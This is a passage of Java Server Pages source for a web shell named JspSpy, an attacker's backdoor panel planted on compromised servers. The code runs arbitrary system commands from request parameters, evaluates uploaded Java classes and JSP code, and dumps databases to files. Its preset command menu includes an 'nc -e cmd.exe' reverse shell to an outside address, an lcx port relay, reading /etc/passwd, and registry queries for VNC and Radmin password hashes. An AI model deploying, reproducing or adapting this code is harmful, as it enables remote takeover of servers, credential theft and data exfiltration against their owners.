  2703. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
  2704. "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
  2705. " <tr class=\"head\">"+
  2706. " <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009 Private </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
  2707. " </tr>"+
  2708. " <tr class=\"alt1\">"+
  2709. " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
  2710. " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
  2711. " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
  2712. " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
  2713. " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
  2714. " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
  2715. " <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
  2716. " <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
  2717. " <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
  2718. " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
  2719. " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
  2720. " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
  2721. " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
  2722. " <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
  2723. " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
  2724. " </tr>"+
  2725. "</table>");
  2726. if (JSession.getAttribute(MSG) != null) {
  2727. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  2728. JSession.removeAttribute(MSG);
  2729. }
  2730. if (JSession.getAttribute(ENTER_MSG) != null) {
  2731. String outEntry = request.getParameter("outentry");
  2732. if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
  2733. Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
  2734. }
  2735. } catch (Exception e) {
  2736. throw e ;
  2737. }
  2738. }
  2739. }
  2740. private static class VOnLineShellInvoker extends DefaultInvoker {
  2741. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2742. try {
  2743. PrintWriter out = response.getWriter();
  2744. out.println("<script>"+
  2745. " function $(id) {"+
  2746. " return document.getElementById(id);"+
  2747. " }"+
  2748. " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
  2749. " window.onload = function(){"+
  2750. " setInterval(function(){"+
  2751. " if ($(\"autoscroll\").checked)"+
  2752. " {"+
  2753. " var f = window.frames[\"echo\"];"+
  2754. " if (f && f.document && f.document.body)"+
  2755. " {"+
  2756. " if (!ie)"+
  2757. " {"+
  2758. " if (f.document.body.offsetHeight)"+
  2759. " {"+
  2760. " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
  2761. " }"+
  2762. " } else {"+
  2763. " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
  2764. " }"+
  2765. " }"+
  2766. " }"+
  2767. " },500);"+
  2768. " }"+
  2769. " </script>");
  2770. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2771. " <tr>"+
  2772. " <td>");
  2773. out.println("<h2>Shell OnLine &raquo;</h2><br/>");
  2774. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
  2775. " <input type=\"submit\" value=\" start \" class=\"bt\">"+
  2776. " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
  2777. " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
  2778. " </form>"+
  2779. " <hr/>"+
  2780. " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
  2781. " </iframe>"+
  2782. " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
  2783. " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
  2784. " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
  2785. " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
  2786. " <option value=\"\" selected> </option>"+
  2787. " <option value=\"uname -a\">uname -a</option>"+
  2788. " <option value=\"cat /etc/issue\">issue</option>"+
  2789. " <option value=\"cat /etc/passwd\">passwd</option>"+
  2790. " <option value=\"netstat -an\">netstat -an</option>"+
  2791. " <option value=\"net user\">net user</option>"+
  2792. " <option value=\"tasklist\">tasklist</option>"+
  2793. " <option value=\"tasklist /svc\">tasklist /svc</option>"+
  2794. " <option value=\"net start\">net start</option>"+
  2795. " <option value=\"net stop policyagent /yes\">net stop</option>"+
  2796. " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
  2797. " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
  2798. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
  2799. " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
  2800. " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
  2801. " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
  2802. " <option value=\"systeminfo\">systeminfo</option>"+
  2803. " <option value=\"net localgroup\">view groups</option>"+
  2804. " <option value=\"net localgroup administrators\">view admins</option>"+
  2805. " </select>"+
  2806. " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
  2807. " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
  2808. " </form>"+
  2809. " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
  2810. );
  2811. out.println(" </td>"+
  2812. " </tr>"+
  2813. "</table>");
  2814. } catch (Exception e) {
  2815. throw e ;
  2816. }
  2817. }
  2818. }
  2819. private static class OnLineInvoker extends DefaultInvoker {
  2820. public boolean doBefore(){return false;}
  2821. public boolean doAfter(){return false;}
  2822. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2823. try {
  2824. String type = request.getParameter("type");
  2825. if (Util.isEmpty(type))
  2826. return;
  2827. if (type.toLowerCase().equals("start")) {
  2828. String exe = request.getParameter("exe");
  2829. if (Util.isEmpty(exe))
  2830. return;
  2831. Process pro = Runtime.getRuntime().exec(exe);
  2832. ByteArrayOutputStream outs = new ByteArrayOutputStream();
  2833. response.setContentLength(100000000);
  2834. response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
  2835. OnLineProcess olp = new OnLineProcess(pro);
  2836. JSession.setAttribute(SHELL_ONLINE,olp);
  2837. new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
  2838. new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2839. new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
  2840. Thread.sleep(1000 * 60 * 60 * 24);
  2841. } else if (type.equals("ecmd")) {
  2842. Object o = JSession.getAttribute(SHELL_ONLINE);
  2843. String cmd = request.getParameter("cmd");
  2844. if (Util.isEmpty(cmd))
  2845. return;
  2846. if (o == null)
  2847. return;
  2848. OnLineProcess olp = (OnLineProcess)o;
  2849. olp.setCmd(cmd);
  2850. } else {
  2851. Object o = JSession.getAttribute(SHELL_ONLINE);
  2852. if (o == null)
  2853. return;
  2854. OnLineProcess olp = (OnLineProcess)o;
  2855. olp.stop();
  2856. }
  2857. } catch (Exception e) {
  2858. throw e;
  2859. }
  2860. }
  2861. }
  2862. private static class EnterInvoker extends DefaultInvoker {
  2863. public boolean doBefore(){return false;}
  2864. public boolean doAfter(){return false;}
  2865. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2866. PrintWriter out = response.getWriter();
  2867. String type = request.getParameter("type");
  2868. if (!Util.isEmpty(type)) {
  2869. JSession.removeAttribute(ENTER);
  2870. JSession.removeAttribute(ENTER_MSG);
  2871. JSession.removeAttribute(ENTER_CURRENT_DIR);
  2872. JSession.setAttribute(MSG,"Exit File Success ! ");
  2873. } else {
  2874. String f = request.getParameter("filepath");
  2875. if (Util.isEmpty(f))
  2876. return;
  2877. JSession.setAttribute(ENTER,f);
  2878. JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
  2879. }
  2880. response.sendRedirect(SHELL_NAME);
  2881. }
  2882. }
  2883. private static class VExport2FileInvoker extends DefaultInvoker {
  2884. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2885. PrintWriter out = response.getWriter();
  2886. String type = request.getParameter("type");
  2887. String sql = request.getParameter("sql");
  2888. String table = request.getParameter("table");
  2889. if (Util.isEmpty(sql) && Util.isEmpty(table)) {
  2890. JSession.setAttribute(SESSION_O,"vConn");
  2891. response.sendRedirect(SHELL_NAME);
  2892. return;
  2893. }
  2894. out.println("<form action=\"\" method=\"post\">"+
  2895. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2896. " <tr>"+
  2897. " <td>"+
  2898. " <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
  2899. " <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
  2900. " <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","&quot;"))+"\"/>"+
  2901. " <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
  2902. " <h2>Export To File &raquo;</h2>"+
  2903. " "+
  2904. " <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","&quot;"))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/> <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
  2905. " </tr>"+
  2906. " </table>"+
  2907. "</form>");
  2908. }
  2909. }
  2910. private static class ExportInvoker extends DefaultInvoker {
  2911. public boolean doBefore(){return false;}
  2912. public boolean doAfter(){return false;}
  2913. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2914. String type = request.getParameter("type");
  2915. String filepath = request.getParameter("filepath");
  2916. String sql = null;
  2917. DBOperator dbo = null;
  2918. dbo = (DBOperator)JSession.getAttribute(DBO);
  2919. if (Util.isEmpty(type)) {
  2920. //table export
  2921. String tb = request.getParameter("table");
  2922. if (Util.isEmpty(tb))
  2923. return;
  2924. String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
  2925. sql = "select * from "+s+tb+s;
  2926. } else if (type.equals("queryexp")) {
  2927. //query export
  2928. sql = request.getParameter("sql");
  2929. if (Util.isEmpty(sql)) {
  2930. JSession.setAttribute(SESSION_O,"vConn");
  2931. response.sendRedirect(SHELL_NAME);
  2932. return;
  2933. }
  2934. }
  2935. Object o = dbo.execute(sql);
  2936. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  2937. byte[] rowSep = "\r\n".getBytes();
  2938. if (o instanceof ResultSet) {
  2939. ResultSet rs = (ResultSet)o;
  2940. ResultSetMetaData meta = rs.getMetaData();
  2941. int count = meta.getColumnCount();
  2942. for (int i =1;i<=count;i++) {
  2943. String colName = meta.getColumnName(i)+"\t";
  2944. byte[] b = colName.getBytes();
  2945. bout.write(b,0,b.length);
  2946. }
  2947. bout.write(rowSep,0,rowSep.length);
  2948. while (rs.next()) {
  2949. for (int i =1;i<=count;i++) {
  2950. String v = null;
  2951. try {
  2952. v = rs.getString(i);
  2953. } catch (SQLException ex) {
  2954. v = "<<Error!>>";
  2955. }
  2956. v += "\t";
  2957. byte[] b = v.getBytes();
  2958. bout.write(b,0,b.length);
  2959. }
  2960. bout.write(rowSep,0,rowSep.length);
  2961. }
  2962. rs.close();
  2963. ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
  2964. BufferedOutputStream output = null;
  2965. if (!Util.isEmpty(filepath)) {
  2966. //export2file
  2967. output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
  2968. } else {
  2969. //download.
  2970. response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
  2971. output = new BufferedOutputStream(response.getOutputStream());
  2972. }
  2973. byte[] data = new byte[1024];
  2974. int len = input.read(data);
  2975. while (len != -1) {
  2976. output.write(data,0,len);
  2977. len = input.read(data);
  2978. }
  2979. bout.close();
  2980. input.close();
  2981. output.close();
  2982. if (!Util.isEmpty(filepath)) {
  2983. JSession.setAttribute(MSG,"Export To File Success !");
  2984. response.sendRedirect(SHELL_NAME);
  2985. }
  2986. }
  2987. }
  2988. }
  2989. private static class EvalInvoker extends DefaultInvoker {
  2990. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2991. String type = request.getParameter("type");
  2992. PrintWriter out = response.getWriter();
  2993. Object msg = JSession.getAttribute(MSG);
  2994. if (msg != null) {
  2995. Util.outMsg(out,(String)msg);
  2996. JSession.removeAttribute(MSG);
  2997. }
  2998. if (Util.isEmpty(type)) {
  2999. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3000. " <tr>"+
  3001. " <td><h2>Eval Java Code &raquo;</h2>"+
  3002. "<hr/>"+
  3003. " <p>"+
  3004. " <form action=\""+SHELL_NAME+"?o=eu\" method=\"post\" enctype=\"multipart/form-data\">"+
  3005. "UpLoad a Class File : ");
  3006. Util.outMsg(out,"<pre>"+
  3007. "<span style='color:blue'>public class</span> SpyEval{\r\n"+
  3008. " <span style='color:blue'>static</span> {\r\n"+
  3009. " <span style='color:green'>//Your Code Here.</span>\r\n"+
  3010. " }\r\n"+
  3011. "}\r\n"+
  3012. "</pre>","left");
  3013. out.println(" <input class=\"input\" name=\"file\" type=\"file\"/> <input type=\"submit\" class=\"bt\" value=\" Eval \"></form><hr/>"+
  3014. " <form action=\""+SHELL_NAME+"\" method=\"post\"><p></p>Jsp Eval : <br/>"+
  3015. " <input type=\"hidden\" name=\"o\" value=\"ev\"><input type=\"hidden\" name=\"type\" value=\"jsp\">"+
  3016. " <textarea name=\"jspc\" rows=\"15\" cols=\"70\">"+URLDecoder.decode("%3C%25%40page+pageEncoding%3D%22utf-8%22%25%3E%0D%0A%3C%25%0D%0A%2F%2Fyour+code+here.%0D%0Aout.println%28%22create+a+jsp+file+then+include+it+%21+by++ninty%22%29%3B%0D%0A%25%3E","utf-8")+"</textarea>"+
  3017. " <br/><input class=\"bt\" name=\"button\" id=\"button\" value=\"Eval\" type=\"submit\" size=\"100\" />"+
  3018. " </form>"+
  3019. " </p>"+
  3020. " </td>"+
  3021. " </tr>"+
  3022. "</table>");
  3023. } else if (type.equals("jsp")){
  3024. String jspc = request.getParameter("jspc");
  3025. if (Util.isEmpty(jspc))
  3026. return;
  3027. File f = new File(SHELL_DIR,"evaltmpninty.jsp");
  3028. BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),"utf-8"));
  3029. writer.write(jspc,0,jspc.length());
  3030. writer.flush();
  3031. writer.close();
  3032. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3033. " <tr>"+
  3034. " <td><h2>Jsp Eval Result &raquo;</h2>");
  3035. out.println("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:left;font-weight:bold;margin:10px\">");
  3036. request.getRequestDispatcher("evaltmpninty.jsp").include(request,response);
  3037. out.println("</div><input type=\"button\" value=\" Back \" class=\"bt\" onclick=\"history.back()\"></td></tr></table> ");
  3038. f.delete();
  3039. }
  3040. }
  3041. }
  3042. private static class EvalUploadInvoker extends DefaultInvoker {
  3043. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3044. ByteArrayOutputStream stream = new ByteArrayOutputStream();
  3045. UploadBean upload = new UploadBean();
  3046. upload.setTargetOutput(stream);
  3047. upload.parseRequest(request);
  3048. if (stream.toByteArray().length == 2) {
  3049. JSession.setAttribute(MSG,"Please Upload Your Class File ! ");
  3050. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3051. return;
  3052. }
  3053. SpyClassLoader loader = new SpyClassLoader();
  3054. try {
  3055. Class c = loader.defineClass(null,stream.toByteArray());
  3056. c.newInstance();
  3057. }catch(Exception e) {
  3058. }
  3059. stream.close();
  3060. JSession.setAttribute(MSG,"Eval Java Class Done ! ");
  3061. ((Invoker)ins.get("ev")).invoke(request,response,JSession);
  3062. }
  3063. }
  3064. private static class VOtherInvoker extends DefaultInvoker {
  3065. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3066. try {
  3067. PrintWriter out = response.getWriter();
  3068. Object msg = JSession.getAttribute(MSG);
  3069. if (msg != null) {
  3070. Util.outMsg(out,(String)msg);
  3071. JSession.removeAttribute(MSG);
  3072. }
  3073. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  3074. " <tr>"+
  3075. " <td><h2 id=\"Bin_H2_Title\">Session Manager&gt;&gt;</h2><hr/>"+
  3076. " <div id=\"hOWTm\" style=\"line-height:30px\">"+
  3077. " <ul>");
  3078. Enumeration en = JSession.getAttributeNames();
  3079. while (en.hasMoreElements()) {
  3080. Object o = en.nextElement();
  3081. if (o.toString().equals(MSG))
  3082. continue;
  3083. out.println("<li><form action='"+SHELL_NAME+"' method='post'><u>"+o.toString()+"</u> <input type=\"text\" name=\"value\" class=\"input\" size=\"50\" value=\""+JSession.getAttribute(o.toString())+"\">");
  3084. out.println("<input type='button' class='bt' value='Update' onclick=\"this.form.elements['type'].value='update';this.form.submit()\"> <input type='button' onclick=\"this.form.elements['type'].value='delete';this.form.submit()\" class='bt' value='Delete'/>");
  3085. out.println("<input type='hidden' name='o' value='sm'/><input type='hidden' name='type'/>");
  3086. out.println("<input type='hidden' name='name' value='"+o.toString()+"'/>");
  3087. out.println("</form></li>");
  3088. }
  3089. out.println("<li style='list-style:none'><form action='"+SHELL_NAME+"' method='post'><fieldset>"+
  3090. "<legend>New Session Attribute</legend>"+
  3091. "name : <input type=\"text\" name=\"name\" value=\"\" class=\"input\"> value : <input type=\"text\""+
  3092. " name=\"value\" class=\"input\"/> <input type='submit' value='Add' class='bt'><input type='hidden' name='o' value='sm'/><input type='hidden' name='type' value='update'>"+
  3093. " </fieldset></form></li></ul></div></td>"+
  3094. " </tr>"+
  3095. " </table>");
  3096. } catch (Exception e) {
  3097. throw e ;
  3098. }
  3099. }
  3100. }
  3101. //Session Manager
  3102. private static class SmInvoker extends DefaultInvoker {
  3103. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  3104. try {
  3105. String type = request.getParameter("type");
  3106. PrintWriter out = response.getWriter();
  3107. if (type.equals("update")) {
  3108. String name = request.getParameter("name");
  3109. String value = request.getParameter("value");
  3110. JSession.setAttribute(name,value);
  3111. JSession.setAttribute(MSG,"Update/Add Attribute Success !");
  3112. } else if (type.equals("delete")) {
  3113. String name = request.getParameter("name");
  3114. JSession.removeAttribute(name);
  3115. JSession.setAttribute(MSG,"Remove Attribute Success !");
  3116. }
  3117. ((Invoker)ins.get("vother")).invoke(request,response,JSession);
  3118. } catch (Exception e) {
  3119. throw e ;
  3120. }
  3121. }
  3122. }
  3123. static{
  3124. ins.put("script",new ScriptInvoker());
  3125. ins.put("before",new BeforeInvoker());
  3126. ins.put("after",new AfterInvoker());
  3127. ins.put("deleteBatch",new DeleteBatchInvoker());
  3128. ins.put("clipboard",new ClipBoardInvoker());
  3129. ins.put("vPortScan",new VPortScanInvoker());
  3130. ins.put("portScan",new PortScanInvoker());
  3131. ins.put("vConn",new VConnInvoker());
  3132. ins.put("dbc",new DbcInvoker());
  3133. ins.put("executesql",new ExecuteSQLInvoker());
  3134. ins.put("vLogin",new VLoginInvoker());
  3135. ins.put("login",new LoginInvoker());
  3136. ins.put("filelist", new FileListInvoker());
  3137. ins.put("logout",new LogoutInvoker());
  3138. ins.put("upload",new UploadInvoker());
  3139. ins.put("copy",new CopyInvoker());
  3140. ins.put("bottom",new BottomInvoker());
  3141. ins.put("vCreateFile",new VCreateFileInvoker());
  3142. ins.put("vEdit",new VEditInvoker());
  3143. ins.put("createFile",new CreateFileInvoker());
  3144. ins.put("vEditProperty",new VEditPropertyInvoker());
  3145. ins.put("editProperty",new EditPropertyInvoker());
  3146. ins.put("vs",new VsInvoker());
  3147. ins.put("shell",new ShellInvoker());
  3148. ins.put("down",new DownInvoker());
  3149. ins.put("vd",new VdInvoker());
  3150. ins.put("downRemote",new DownRemoteInvoker());
  3151. ins.put("index",new IndexInvoker());
  3152. ins.put("mkdir",new MkDirInvoker());
  3153. ins.put("move",new MoveInvoker());
  3154. ins.put("removedir",new RemoveDirInvoker());
  3155. ins.put("packBatch",new PackBatchInvoker());
  3156. ins.put("pack",new PackInvoker());
  3157. ins.put("unpack",new UnPackInvoker());
  3158. ins.put("vmp",new VmpInvoker());
  3159. ins.put("vbc",new VbcInvoker());
  3160. ins.put("backConnect",new BackConnectInvoker());
  3161. ins.put("jspEnv",new JspEnvInvoker());
  3162. ins.put("smp",new SmpInvoker());
  3163. ins.put("mapPort",new MapPortInvoker());
  3164. ins.put("top",new TopInvoker());
  3165. ins.put("vso",new VOnLineShellInvoker());
  3166. ins.put("online",new OnLineInvoker());
  3167. ins.put("enter",new EnterInvoker());
  3168. ins.put("export",new ExportInvoker());
  3169. ins.put("ev",new EvalInvoker());
  3170. ins.put("eu",new EvalUploadInvoker());
  3171. ins.put("vother",new VOtherInvoker());
  3172. ins.put("sm",new SmInvoker());
  3173. ins.put("vExport",new VExport2FileInvoker());
  3174. ins.put("vPack",new VPackConfigInvoker());
  3175. ins.put("reflect",new ReflectInvoker());
  3176. ins.put("portBack",new PortBackInvoker());
  3177. }
  3178. %>
  3179. <%
  3180. try {
  3181. String o = request.getParameter("o");
  3182. if (Util.isEmpty(o)) {
  3183. if (session.getAttribute(SESSION_O) == null)
  3184. o = "index";
  3185. else {
  3186. o = session.getAttribute(SESSION_O).toString();
  3187. session.removeAttribute(SESSION_O);
  3188. }
  3189. }
  3190. Object obj = ins.get(o);
  3191. if (obj == null) {
  3192. response.sendRedirect(SHELL_NAME);
  3193. } else {
  3194. Invoker in = (Invoker)obj;
  3195. if (in.doBefore()) {
  3196. String path = request.getParameter("folder");
  3197. if (!Util.isEmpty(path) && session.getAttribute(ENTER) == null)
  3198. session.setAttribute(CURRENT_DIR,path);
  3199. ((Invoker)ins.get("before")).invoke(request,response,session);
  3200. ((Invoker)ins.get("script")).invoke(request,response,session);
  3201. ((Invoker)ins.get("top")).invoke(request,response,session);
  3202. }
  3203. in.invoke(request,response,session);
  3204. if (!in.doAfter()) {
  3205. return;
  3206. }else{
  3207. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3208. ((Invoker)ins.get("after")).invoke(request,response,session);
  3209. }
  3210. }
  3211. } catch (Exception e) {
  3212. Object msg = session.getAttribute(MSG);
  3213. if (msg != null) {
  3214. Util.outMsg(out,(String)msg);
  3215. session.removeAttribute(MSG);
  3216. }
  3217. if (e.toString().indexOf("ClassCastException") != -1) {
  3218. Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
  3219. }
  3220. ByteArrayOutputStream bout = new ByteArrayOutputStream();
  3221. e.printStackTrace(new PrintStream(bout));
  3222. session.setAttribute(CURRENT_DIR,SHELL_DIR);
  3223. Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
  3224. bout.close();
  3225. out.flush();
  3226. ((Invoker)ins.get("bottom")).invoke(request,response,session);
  3227. ((Invoker)ins.get("after")).invoke(request,response,session);
  3228. }
  3229. %>